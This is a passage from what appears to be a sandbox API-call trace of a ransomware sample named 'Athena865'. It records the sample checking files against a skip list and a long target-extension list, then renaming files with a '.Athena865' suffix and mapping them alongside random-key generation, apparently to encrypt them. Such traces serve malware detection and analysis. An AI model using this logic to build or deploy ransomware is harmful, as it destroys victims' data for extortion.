lstrlenW (lpString="kexi") returned 4 [0052.181] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.181] lstrlenW (lpString="kexic") returned 5 [0052.181] lstrcmpiW (lpString1="7.lnk", lpString2="kexic") returned -1 [0052.181] lstrlenW (lpString="kexis") returned 5 [0052.181] lstrcmpiW (lpString1="7.lnk", lpString2="kexis") returned -1 [0052.181] lstrlenW (lpString="lgc") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.181] lstrlenW (lpString="lwx") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.181] lstrlenW (lpString="maf") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.181] lstrlenW (lpString="maq") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.182] lstrlenW (lpString="mar") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.182] lstrlenW (lpString="marshal") returned 7 [0052.182] lstrcmpiW (lpString1="-n7.lnk", lpString2="marshal") returned 1 [0052.182] lstrlenW (lpString="mas") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.182] lstrlenW (lpString="mav") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.182] lstrlenW (lpString="maw") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.182] lstrlenW (lpString="mdbhtml") returned 7 [0052.182] lstrcmpiW (lpString1="-n7.lnk", lpString2="mdbhtml") returned 1 [0052.182] lstrlenW (lpString="mdn") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.182] lstrlenW (lpString="mdt") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.182] lstrlenW (lpString="mfd") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.182] lstrlenW (lpString="mpd") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.182] lstrlenW (lpString="mrg") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.182] lstrlenW (lpString="mud") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.182] lstrlenW (lpString="mwb") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.182] lstrlenW (lpString="myd") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.182] lstrlenW (lpString="ndf") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.182] lstrlenW (lpString="nnt") returned 3 [0052.182] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.182] lstrlenW (lpString="nrmlib") returned 6 [0052.182] lstrcmpiW (lpString1="n7.lnk", lpString2="nrmlib") returned -1 [0052.182] lstrlenW (lpString="ns2") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.183] lstrlenW (lpString="ns3") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.183] lstrlenW (lpString="ns4") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.183] lstrlenW (lpString="nsf") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.183] lstrlenW (lpString="nv") returned 2 [0052.183] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.183] lstrlenW (lpString="nv2") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.183] lstrlenW (lpString="nwdb") returned 4 [0052.183] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.183] lstrlenW (lpString="nyf") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.183] lstrlenW (lpString="odb") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.183] lstrlenW (lpString="odb") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.183] lstrlenW (lpString="oqy") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.183] lstrlenW (lpString="ora") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.183] lstrlenW (lpString="orx") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.183] lstrlenW (lpString="owc") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.183] lstrlenW (lpString="p96") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.183] lstrlenW (lpString="p97") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.183] lstrlenW (lpString="pan") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.183] lstrlenW (lpString="pdb") returned 3 [0052.183] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.183] lstrlenW (lpString="pdm") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.184] lstrlenW (lpString="pnz") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.184] lstrlenW (lpString="qry") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.184] lstrlenW (lpString="qvd") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.184] lstrlenW (lpString="rbf") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.184] lstrlenW (lpString="rctd") returned 4 [0052.184] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.184] lstrlenW (lpString="rod") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.184] lstrlenW (lpString="rodx") returned 4 [0052.184] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.184] lstrlenW (lpString="rpd") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.184] lstrlenW (lpString="rsd") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.184] lstrlenW (lpString="sas7bdat") returned 8 [0052.184] lstrcmpiW (lpString1="4-n7.lnk", lpString2="sas7bdat") returned -1 [0052.184] lstrlenW (lpString="sbf") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.184] lstrlenW (lpString="scx") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.184] lstrlenW (lpString="sdb") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.184] lstrlenW (lpString="sdc") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.184] lstrlenW (lpString="sdf") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.184] lstrlenW (lpString="sis") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.184] lstrlenW (lpString="spq") returned 3 [0052.184] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.185] lstrlenW (lpString="te") returned 2 [0052.185] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.185] lstrlenW (lpString="teacher") returned 7 [0052.185] lstrcmpiW (lpString1="-n7.lnk", lpString2="teacher") returned -1 [0052.185] lstrlenW (lpString="tmd") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.185] lstrlenW (lpString="tps") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.185] lstrlenW (lpString="trc") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.185] lstrlenW (lpString="trc") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.185] lstrlenW (lpString="trm") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.185] lstrlenW (lpString="udb") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.185] lstrlenW (lpString="udl") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.185] lstrlenW (lpString="usr") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.185] lstrlenW (lpString="v12") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.185] lstrlenW (lpString="vis") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.185] lstrlenW (lpString="vpd") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.185] lstrlenW (lpString="vvv") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.185] lstrlenW (lpString="wdb") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.185] lstrlenW (lpString="wmdb") returned 4 [0052.185] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.185] lstrlenW (lpString="wrk") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.185] lstrlenW (lpString="xdb") returned 3 [0052.185] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.185] lstrlenW (lpString="xld") returned 3 [0052.186] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.186] lstrlenW (lpString="xmlff") returned 5 [0052.186] lstrcmpiW (lpString1="7.lnk", lpString2="xmlff") returned -1 [0052.186] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8 S4kdjOc2hOb4-n7.lnk.Athena865") returned 85 [0052.186] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8 S4kdjOc2hOb4-n7.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8 s4kdjoc2hob4-n7.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8 S4kdjOc2hOb4-n7.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8 s4kdjoc2hob4-n7.lnk.athena865"), dwFlags=0x1) returned 1 [0052.186] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8 S4kdjOc2hOb4-n7.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8 s4kdjoc2hob4-n7.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.187] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1045) returned 1 [0052.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.187] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.188] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.188] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.188] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x720, lpName=0x0) returned 0x154 [0052.188] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x720) returned 0x100000 [0052.188] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.189] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.189] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.189] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.190] CloseHandle (hObject=0x154) returned 1 [0052.190] CloseHandle (hObject=0x17c) returned 1 [0052.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.191] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb081ec60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb081ec60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb081ec60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8A6iUe75-AGFNFLQ.lnk", cAlternateFileName="8A6IUE~1.LNK")) returned 1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2=".") returned 1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="..") returned 1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="windows") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="bootmgr") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="temp") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="pagefile.sys") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="boot") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="ids.txt") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="ntuser.dat") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="perflogs") returned -1 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2="MSBuild") returned -1 [0052.191] lstrlenW (lpString="8A6iUe75-AGFNFLQ.lnk") returned 20 [0052.191] lstrcpyW (in: lpString1=0x241e8b4, lpString2="8A6iUe75-AGFNFLQ.lnk" | out: lpString1="8A6iUe75-AGFNFLQ.lnk") returned="8A6iUe75-AGFNFLQ.lnk" [0052.191] lstrlenW (lpString="8A6iUe75-AGFNFLQ.lnk") returned 20 [0052.191] lstrlenW (lpString="Athena865") returned 9 [0052.191] lstrcmpiW (lpString1="FNFLQ.lnk", lpString2="Athena865") returned 1 [0052.191] lstrlenW (lpString=".dll") returned 4 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2=".dll") returned 1 [0052.191] lstrlenW (lpString=".lnk") returned 4 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2=".lnk") returned 1 [0052.191] lstrlenW (lpString=".ini") returned 4 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2=".ini") returned 1 [0052.191] lstrlenW (lpString=".sys") returned 4 [0052.191] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.lnk", lpString2=".sys") returned 1 [0052.192] lstrlenW (lpString="8A6iUe75-AGFNFLQ.lnk") returned 20 [0052.192] lstrlenW (lpString="bak") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.192] lstrlenW (lpString="ba_") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.192] lstrlenW (lpString="dbb") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.192] lstrlenW (lpString="vmdk") returned 4 [0052.192] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.192] lstrlenW (lpString="rar") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.192] lstrlenW (lpString="zip") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.192] lstrlenW (lpString="tgz") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.192] lstrlenW (lpString="vbox") returned 4 [0052.192] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.192] lstrlenW (lpString="vdi") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.192] lstrlenW (lpString="vhd") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.192] lstrlenW (lpString="vhdx") returned 4 [0052.192] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.192] lstrlenW (lpString="avhd") returned 4 [0052.192] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.192] lstrlenW (lpString="db") returned 2 [0052.192] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.192] lstrlenW (lpString="db2") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.192] lstrlenW (lpString="db3") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.192] lstrlenW (lpString="dbf") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.192] lstrlenW (lpString="mdf") returned 3 [0052.192] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.192] lstrlenW (lpString="mdb") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.193] lstrlenW (lpString="sql") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.193] lstrlenW (lpString="sqlite") returned 6 [0052.193] lstrcmpiW (lpString1="LQ.lnk", lpString2="sqlite") returned -1 [0052.193] lstrlenW (lpString="sqlite3") returned 7 [0052.193] lstrcmpiW (lpString1="FLQ.lnk", lpString2="sqlite3") returned -1 [0052.193] lstrlenW (lpString="sqlitedb") returned 8 [0052.193] lstrcmpiW (lpString1="NFLQ.lnk", lpString2="sqlitedb") returned -1 [0052.193] lstrlenW (lpString="xml") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.193] lstrlenW (lpString="$er") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.193] lstrlenW (lpString="4dd") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.193] lstrlenW (lpString="4dl") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.193] lstrlenW (lpString="^^^") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.193] lstrlenW (lpString="abs") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.193] lstrlenW (lpString="abx") returned 3 [0052.193] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.193] lstrlenW (lpString="accdb") returned 5 [0052.193] lstrcmpiW (lpString1="Q.lnk", lpString2="accdb") returned 1 [0052.193] lstrlenW (lpString="accdc") returned 5 [0052.193] lstrcmpiW (lpString1="Q.lnk", lpString2="accdc") returned 1 [0052.193] lstrlenW (lpString="accde") returned 5 [0052.193] lstrcmpiW (lpString1="Q.lnk", lpString2="accde") returned 1 [0052.193] lstrlenW (lpString="accdr") returned 5 [0052.193] lstrcmpiW (lpString1="Q.lnk", lpString2="accdr") returned 1 [0052.193] lstrlenW (lpString="accdt") returned 5 [0052.193] lstrcmpiW (lpString1="Q.lnk", lpString2="accdt") returned 1 [0052.193] lstrlenW (lpString="accdw") returned 5 [0052.193] lstrcmpiW (lpString1="Q.lnk", lpString2="accdw") returned 1 [0052.193] lstrlenW (lpString="accft") returned 5 [0052.193] lstrcmpiW (lpString1="Q.lnk", lpString2="accft") returned 1 [0052.194] lstrlenW (lpString="adb") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.194] lstrlenW (lpString="adb") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.194] lstrlenW (lpString="ade") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.194] lstrlenW (lpString="adf") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.194] lstrlenW (lpString="adn") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.194] lstrlenW (lpString="adp") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.194] lstrlenW (lpString="alf") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.194] lstrlenW (lpString="ask") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.194] lstrlenW (lpString="btr") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.194] lstrlenW (lpString="cat") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.194] lstrlenW (lpString="cdb") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.194] lstrlenW (lpString="ckp") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.194] lstrlenW (lpString="cma") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.194] lstrlenW (lpString="cpd") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.194] lstrlenW (lpString="dacpac") returned 6 [0052.194] lstrcmpiW (lpString1="LQ.lnk", lpString2="dacpac") returned 1 [0052.194] lstrlenW (lpString="dad") returned 3 [0052.194] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.194] lstrlenW (lpString="dadiagrams") returned 10 [0052.194] lstrcmpiW (lpString1="GFNFLQ.lnk", lpString2="dadiagrams") returned 1 [0052.194] lstrlenW (lpString="daschema") returned 8 [0052.195] lstrcmpiW (lpString1="NFLQ.lnk", lpString2="daschema") returned 1 [0052.195] lstrlenW (lpString="db-journal") returned 10 [0052.195] lstrcmpiW (lpString1="GFNFLQ.lnk", lpString2="db-journal") returned 1 [0052.195] lstrlenW (lpString="db-shm") returned 6 [0052.195] lstrcmpiW (lpString1="LQ.lnk", lpString2="db-shm") returned 1 [0052.195] lstrlenW (lpString="db-wal") returned 6 [0052.195] lstrcmpiW (lpString1="LQ.lnk", lpString2="db-wal") returned 1 [0052.195] lstrlenW (lpString="dbc") returned 3 [0052.195] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.195] lstrlenW (lpString="dbs") returned 3 [0052.195] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.195] lstrlenW (lpString="dbt") returned 3 [0052.195] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.195] lstrlenW (lpString="dbv") returned 3 [0052.195] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.195] lstrlenW (lpString="dbx") returned 3 [0052.195] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.195] lstrlenW (lpString="dcb") returned 3 [0052.195] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.195] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8A6iUe75-AGFNFLQ.lnk.Athena865") returned 84 [0052.195] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8A6iUe75-AGFNFLQ.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8a6iue75-agfnflq.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8A6iUe75-AGFNFLQ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8a6iue75-agfnflq.lnk.athena865"), dwFlags=0x1) returned 1 [0052.196] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8A6iUe75-AGFNFLQ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8a6iue75-agfnflq.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.196] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1040) returned 1 [0052.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.197] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.197] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.197] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.198] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x154 [0052.198] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000 [0052.198] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.198] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.199] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.199] RtlAllocateHeap 